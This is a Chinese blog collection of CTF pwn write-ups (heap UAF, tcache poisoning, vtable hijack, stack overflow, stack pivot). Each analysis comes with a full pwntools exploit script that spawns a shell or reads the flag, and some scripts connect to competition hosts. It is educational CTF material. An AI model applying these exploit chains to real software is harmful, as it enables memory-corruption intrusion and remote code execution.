标签 Writeup 下的文章

struct PlayBook {
    int flags; // &1=used, &2=cmd, &4=note
    int sub_ids[10];
    char note[0x200]; // 0x2c
};

nesting_depth 在结束后不会置零,创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP 的话 nesting_depth 就会大于 0 而且会保留到下次创建时。new_playbook 创建 playbook 处理嵌套时需要将 id 暂存在数组中,且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量,与暂存 id 数组低地址相邻。(这里的变量分配很反常,大概是用了在栈上的结构体,强制改变了栈上变量布局。)这样可以改 buf_size 为一个 index 值,从而溢出 struct PlayBook 里的 char note[0x200] 改到高地址相邻 step 的 flags 和 note。先创建一大堆没用的 step 把 index 扩大到超过 0x205。

Exp:

# 1 ~ 575 (576)
for _ in range(0x120):
    io.sendlineafter(b'5. Quit\n', b'2') # new
    io.sendlineafter(b'entry.\n',
f'''STEP
note: sh
ENDSTEP
'''.encode())

io.sendlineafter(b'5. Quit\n', b'3') # delete
io.sendlineafter(b'id:\n', b'569') # id: 569 (570)
io.sendlineafter(b'5. Quit\n', b'3') # delete
io.sendlineafter(b'id:\n', b'571') # id: 571 (572)
io.sendlineafter(b'5. Quit\n', b'3') # delete
io.sendlineafter(b'id:\n', b'573') # id: 573 (574)


io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571
io.sendlineafter(b'entry.\n',
f'''STEP
STEP
''')

io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574
io.sendlineafter(b'entry.\n',
f'''ENDSTEP
ENDSTEP
STEP
STEP
note: ''' + '\x03' * (0x204 + 40) + 'sh\n')

我没有精确计算应该先分配多少 playbook,exp 里 0x120 之类的数字没有特别含义。不成对的 STEPENDSTEP 也许只需要一个,解题时我求稳将 nesting_depth 设置为 2。

glibc 2.39 菜单堆。逆向得出堆块结构体:

struct Member
{
    int64_t backup_size;
    char* backup;
    char name[0x20];
    char department[0x18];
    int32_t level;
    int32_t index;
    int64_t create_time;
    uint64_t checksum;
};

写出各功能交互模板:

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'1')

def backup_edit(index: int, data: bytes):
    backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'1')
    io.sendafter(b'global data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'4')

global_Hash+Append 时可能 off_by_one 写入 ']':

global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)]))
global_xor()

这个不是重点,重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr,可以有 UAF。于是可以通过让 unsorted bin chunk bkbackup 重合以泄露基址以及构造假堆块:

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted -> backup
heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0
print_leaked('heap_base', heap_base)

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# io = process(binary)
io = connect('39.106.16.204', 46959)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# gdb.attach(io, 'set exception-verbose on')

def _manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    _manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    if backup is not None:
        io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    _manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def _backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int) -> bytes:
    _backup(index)
    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'Backup @ ')
    io.recvuntil(b': ')
    return io.recvline(False)

def backup_edit(index: int, data: bytes):
    _backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    _backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'1')
    io.sendafter(b'data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'4')

def exitit():
    io.sendlineafter(b'Choice: ', b'5')

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup
heap_addr = u64(backup_view(3).ljust(8, b'\x00'))
heap_base = heap_addr - 0x8b0
print_leaked('heap', heap_addr)

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000)
payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0)

crew_add(4, b'a', b'b', 0x500, b'1') # unsorted
crew_add(5, b'a', b'b', 0x500, b'1') # padding
crew_add(6, b'a', b'b', 0x500, b'1') # unsorted
crew_add(7, b'a', b'b', 0x500, payload) # padding

crew_delete(4)
crew_delete(6)

crew_add(4, b'a', b'b', 0x260, b'1')
crew_add(6, b'a', b'b', 0)
# gdb.attach(io, '')
crew_add(8, b'a', b'b', 0) # controller
crew_add(9, b'a', b'b', 0x420, b'1')
crew_add(10, b'a', b'b', 0x20, b'1') # victim
backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0))
crew_add(11, b'a', b'b', 0x3f0, b'1') # padding
crew_delete(1)
crew_delete(10)
backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next

crew_add(12, b'PwnRiK', b'L-team', 0)
crew_add(13, p64(heap_addr + 3904), b'PWNED', 0)

exitit()
hos.bomb(io)

io.interactive()

CTFers

题目链接

程序有三个功能,增删查。新增时暂存名字用到了 name_buf,查询时有一个虚函数调用 Binary::infoWeb::info。另外还有一个隐藏后门 0xdeadbeef,可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE,那么当然可以将地址改到 name_buf,从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。

BinaryWeb 继承自 CTFerstd::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info,这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定,但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此:

004025f4  mov     rdx, qword [rax]
004025f7  mov     rdx, qword [rdx]
004025fa  mov     rdi, rax
004025fd  call    rdx

CTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器,但我们可以通过在 new 前后断点,查看新增堆块的内容来反推其结构。

以下是用 C 语言表示的 CTFer 对象:(符号名仅作参考)

struct CTFer {
    void (**vtable)(struct CTFer *);
    int64_t points;
    struct std_string {
        char *base;
        size_t length;
        union {
            size_t capacity;
            char buffer[16];
        };
    } nickname;
};

length < 16buffer 复用 capacity 内存而非单独 malloc,不过这并不重要。我们可以先恢复正确的虚函数表,然后修改 nickname base 指向 GOT 项,修改适当的 length,从而通过 print_info 泄露基址。

获得各个库的基址绕过 ASLR 后解法就十分自由了,只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象,也就是可控的 name_buf,可依此选择 gadget。

这里我们选用来自 libstdc++ 中的一个 COP gadget:

0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];

然后只需要在 name_buf 上写 ROP 链即可。

Exp:

from pwn import *
context(os='linux', arch='amd64')

e = ELF('./ctfers')
io = ...
libc = ELF('./libc.so.6', checksec=False)


def add(fake_object: bytes):
    io.sendlineafter(b'Choice > ', b'0')
    io.sendlineafter(b'Name > ', fake_object)
    io.sendlineafter(b'Points > ', b'0')
    io.sendlineafter(b'- 1 > ', b'0')


def show_info():
    io.sendlineafter(b'Choice > ', b'2')


def backdoor(address: int):
    io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode())
    io.sendline(str(address).encode())


vtable = 0x408C98
cout = 0x409080
libc_start_main_got = e.got['__libc_start_main']
input_buf = e.sym['name_buf']

# 还原虚函数表指针,改 std::string 头指针为 got 项
add(cyclic(16) + p64(vtable) + p64(0) +
    p64(libc_start_main_got) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info()  # leak libc

io.recvuntil(b'I am ')
libc.address = u64(io.recv(8)) - 0x274c0 - 0x2900
success(f'libc_base: 0x{libc.address:x}')

add(cyclic(16) + p64(vtable) + p64(0) + p64(cout) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info()  # leak libstdc++

io.recvuntil(b'I am ')
libstdcxx_base = u64(io.recv(8)) - 0x223370
success(f'libstdcxx_base: 0x{libstdcxx_base:x}')

# mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];
magic = libstdcxx_base + 0x0000000000113764
leave = 0x0000000000402a63
pop_rax = libstdcxx_base + 0x00000000000da536
pop_rbp = libstdcxx_base + 0x00000000000aafb3
one_gadget = libc.address + 0xebd43
add(cyclic(16) + p64(input_buf + 8 + 16) + p64(magic) +
    
    p64(pop_rax) +
    p64(0) +
    p64(pop_rbp) +
    p64(0x4093a0) +
    p64(one_gadget) +
    
    p64(leave))
show_info() # 栈迁移 ROP

io.interactive()

Payload 有时会被空白字符截断,可能需要多次尝试。另外,类似虚函数表劫持的利用手法一般需要通过 UAF 构造重叠堆块来控制虚函数表指针。本题在删除 CTFer 时仅调用了 std::vector#remove(...),由于 ctfers 中存储的是 CTFer *remove 并不会调用 CTFer 对象的析构器也不会释放其内存。题目初版有 delete 也有 UAF,后简化为给一个后门函数并关闭 PIE。

miniLCTF{In_real_scenarios_you_need_a_UAF}

MiniSnake

题目链接

程序存在后门函数且没有开启 PIE。漏洞点是 events_handler 线程同时处理撞墙和得分,但是用于闪烁显示“GOT POINT!”的 thrd_sleep 会阻塞线程从而使 events_handler 有可能错过撞墙事件处理。通过源码可以看出地图存储在栈上,蛇身也在显示前先写入地图中。如果开始游戏前选择“Numeric skin”则可以向栈上写入任意数值,在得分之后立即撞墙则可以穿墙越界写入。

需要找到合适的种子生成合适的初始蛇或食物从而写入后门函数地址。得到合适的种子很简单,只需要照着程序逻辑写一个爆破程序即可。

#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    for (int seed = 0; seed < INT_MAX; ++seed) {
        srandom(seed);
        if (random() % (UINT8_MAX - 1) + 1 == 0x40 &&
            random() % (UINT8_MAX - 1) + 1 == 0x16 &&
            random() % (UINT8_MAX - 1) + 1 == 0x4D) {
            printf("FOUND SEED: %d\n", seed);
        }
    }
    return 0;
}

但是返回地址在地图外的哪里?还得小心 stack canary。如果动态调试寻找的话会十分折磨。可以考虑用 keypatch 等工具修改程序中地图显示的高度从而快速定位返回地址的位置。(也可考虑修改源码再编译)

.text:0000000000401DDB
.text:0000000000401DDB loc_401DDB:                             ; CODE XREF: draw+83↑j
.text:0000000000401DDB                 cmp     [rbp+var_18], 11h ; Keypatch modified this from:
.text:0000000000401DDB                                         ;   cmp [rbp+var_18], 0Fh

.text:000000000040249F                 mov     edi, 14h        ; int
.text:000000000040249F                                         ; Keypatch modified this from:
.text:000000000040249F                                         ;   mov edi, 12h

Patch 后再次启动程序就可以看到效果(可能需要调整下终端宽高):

*--------------------------------*
|                                |
|      aa                        |
|            ac                  |
|                        b49182  |
|                                |
|                                |14 3
|                                |
|                10              |
|        ca                      |
|                              ab|
|            1b            de    |
|    98                          |
|            ad      be          |
|                                |
|                                |
|                                |
|d0eb1212ff7f      f3584b5c7e1f54|
|20ec1212ff7f    a32640          |
*--------------------------------*

可以看到返回地址就在右下角,其上是 stack canary。

合适的种子可以是 16183281,此时初始蛇身就是后门函数地址。接下来穿墙到达返回地址的位置按 Q 退出即可。记下拐弯时的坐标方便攻击远程环境。

miniLCTF{secret_destination_behind_walls}

签个到吧

执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。

io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')

好easy嘅题啦

VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'create? ', b'1\n')

# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5

def heap():
    io.sendline(b'heap 0 0')
    sleep(s)

def alloc(size: int):
    io.sendlineafter(b'Heap operate: ', b'alloc')
    io.sendlineafter(b'Size: ', itob(size))
    sleep(s)

def free():
    io.sendlineafter(b'Heap operate: ', b'free')
    sleep(s)

def printit():
    io.sendlineafter(b'Heap operate: ', b'print')
    sleep(s)

def input(content: bytes):
    io.sendlineafter(b'Heap operate: ', b'input')
    io.sendafter(b'Input: ', content)
    sleep(s)

def AveMujica():
    io.sendline(b'AveMujica 0 0')
    sleep(s)

io.recvuntil(b'Input your Code (end with EOF): ')

for _ in range(13):
    heap()
AveMujica()
io.sendline(b'EOF')

alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 9
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 7
    syscall
    mov rsi, rsp
    
"""))
free()
printit()

io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')

alloc(0x60)
free()
printit()

io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')

input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_key << 12,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    (heap_key << 12) + 1888
]))

io.interactive()

p.wait()

由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。

米塔调试机

输入指令时使用 scanf %s,可以溢出修改栈上 nowhomenowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhomenowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_allname 处,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'

# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')

io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
    io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')

name = 0x4040E0

fake_heap  = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))

io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))

io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)

io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)

io.interactive()

虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?

题目链接

messages

程序分为 input_messagesprint_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段,字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组,字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等(即使实际只有几个字符)。注意虽然正常键盘输入无法输入空字符,但利用 pwntools 等工具可以直接向程序输入空字符,无论程序直接使用系统调用还是使用标准库 IO 函数(本题未涉及,但也常见)。所以我们可以在输入的字符串中间插入空字符(b'\0'),程序输出时没有检查字符串最大个数(只检查了字符串最大长度,因此无法直接溢出),可以构造多个字符串(长度须大于 1),从而使程序在之后的字符串数组转换过程中数组下标溢出,直至栈上返回地址。栈上每个字符串占用 56 字节,一个长度占用 8 字节,长度数组长 20 * 8 字节,所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text,程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组(IDA 无法正确识别),需要手动修复字符串数组以及长度数组变量类型(char messages[16][56];size_t lengths[20];)。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组
io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址(`\x01` 可为任意非空字符)
io.sendafter(b'> ', b'\n') # 结束输入

io.interactive()

strncpy 会将目标剩余空间全部清零,所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型,也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串,结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。

messages_flag2

拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组,程序可以越界输出栈上值。栈上一定存在 libc 地址(例如 main 的返回地址在 __libc_start_main 中),因此可以泄露 libc 基址。本题栈上变量布局比较凑巧,虽然由于字符串输入会被地址空字节截断,因此无法在同一个字符串中连续输入两个地址(x86_64 虚拟地址长度仅 6 字节,用户空间地址中必然包含空字节),无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处,所以可以同时修改,构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段,提前在此输入 ROP 链(注意先将输入字符串填充至 8 字节对齐),即可 getshell。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')
libc = ELF('./libc.so.6', checksec=None)

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main']))
io.sendafter(b'> ', b'\n')

io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
libc.address = u64(io.recvuntil('有人说:'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128
success(f'libc_base: 0x{libc.address:x}')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01')
io.sendafter(b'> ', cyclic(48) + p32(0x4040f8)[:-1]) # 去除地址中空字节
io.sendafter(b'> ', p64(libc.search(asm('leave;ret')).__next__()))
payload0 = flat([
    0x405000,
    libc.search(asm('pop rdi;ret')).__next__(),
    libc.search(b'/bin/sh\x00').__next__(),
    libc.search(asm('pop rsi;ret')).__next__(),
    0,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
])
payload1 = b'\x00' * 15 + p64(libc.sym['execve'])
io.sendafter(b'> ', cyclic(5) + payload0)
io.sendafter(b'> ', payload1)
io.sendafter(b'> ', b'\n')

io.interactive()

注意由于 bss 空间不大,getshell 时不能使用 system 函数,否则执行过程中栈指针到达不可写段触发段错误。改用 execve 系统调用包装函数,传参 "/bin/sh", 0, 0,无需额外栈空间。(栈迁移时一般都如此)